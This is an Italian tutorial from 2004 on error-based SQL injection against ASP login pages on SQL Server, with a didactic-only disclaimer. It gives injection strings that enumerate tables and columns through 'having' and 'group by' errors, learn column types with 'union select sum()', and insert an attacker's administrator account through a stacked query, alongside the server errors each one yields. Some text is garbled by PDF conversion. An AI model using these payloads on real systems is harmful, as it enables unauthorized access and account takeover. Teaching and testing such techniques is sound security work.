Sicurezza Informatica: Tecniche avanzate di SQL INJECTION Ottenere informazioni con i messaggi di errore Pietro Bongli Maggio 2004 N.B. L'informazione contenuta in queste pagine è divulgata per scopi puramente didattici e non per ni illegali. Questo articolo nasce come naturale continuazione di 'Tecniche di SQL INJECTION' per questo invito, chi non lo avesse fatto, a leggere il precedente elaborato prima di questo. La tecnica descritta nelle seguenti pagine è stata scoperta per primo da Daivd Litcheld durante un test sulla sicurezza di un sistema informatico. Nell'ottica di penetrare in un sistema tramite l'inserimento di login e password è molto importante determinare la struttura del database, questo per poter accedere a tutti i dati memorizzati ed eventualmente modicarli. Supponiamo che sia stata creata la tabella 'users' tramite i seguenti comandi. create table users(id int, username varchar(255), password varchar(255), privs int) e che poi siano stati inseriti i seguente dati, insert insert insert insert into into into into users users users users values(0, values(0, values(0, values(0, 'admin', 'r00tr00', 0xffff) 'guest', 'guest', 0x0000) 'rossi', 'sesamo', 0x00ff) 'bianchi', 'romano', 0x00ff) Supponiamo che l'intruso voglia creare l'account per sé. Chiaramente senza conoscere la struttura della tabella dicilmente avrebbe successo. Per sua fortuna è possibile inserire instruzioni apposite che facilitano di molto il suo compito. Studiando i messaggi di errore, restituiti per default dalle applicazioni sviluppate in ASP, è possible determinare l'intera struttura del database e leggerne tutti i dati 1 inseriti. Vediamo qualche esempio. Per prima cosa l'intruso deve determinare il nome della tabella e quello dei vari campi. Per fare questo si utilizza l'opzione 'having' del comando 'select': username: ' having 1=1 -- Questo produrrà il seguente errore: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Quindi l'intruso conosce il nome della tabella e della prima colonna. Muovendosi attraverso le colonne sfruttando il comando 'group by', è possibile ottenere il nome di tutte le colonne nel modo seguente: username: 'group by users.id having 1=1 -- che produce il seguente messaggio di errore Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 da cui si ottiene il nome della seconda colonna. Continuando in questa maniera si arriva no ad inserire username: ' group by users.id, users.username, users.password, users.privs having 1=1 -- 2 che non restituisce nessun messaggio di errore. In questo modo si è trovato il nome di ogni colonna della tabella. È molto utile anche sapere il tipo di ogni colonna. Questo poù essere fatto usando il messaggio di errore dato dall'istruzione di 'conversione di tipo'. Ad esempio si può inserire username: ' union select sum(username) from users-- Qui si sfrutta la debolezza dell'istruzione 'sum' che cerca di applicare il comando prima di vericare che il campo sia numerico. Se l'istruzione viene applicata ad un campo testuale si ottiene il seguente messaggio di errore Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 e da questo si stabilisce che il campo 'username' è di tipo 'varchar'. Se invece il campo è numerico si ha il seguente messaggio. Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 In questa maniera è possibile determinare l'intera struttura del database. Con queste informazioni è possibile per l'intruso inserire l'account desiderato utilizzando una istruzione di questo tipo. username: '; insert into users values(666, 'intruso', 'apriti', 0xffff) -- Questa tecnica ore applicazioni più potenti in cui si vanno a sfruttare debolezze di altre istruzioni SQL. Tutto questo verrà approfondito nelle prossime pubblicazioni. 3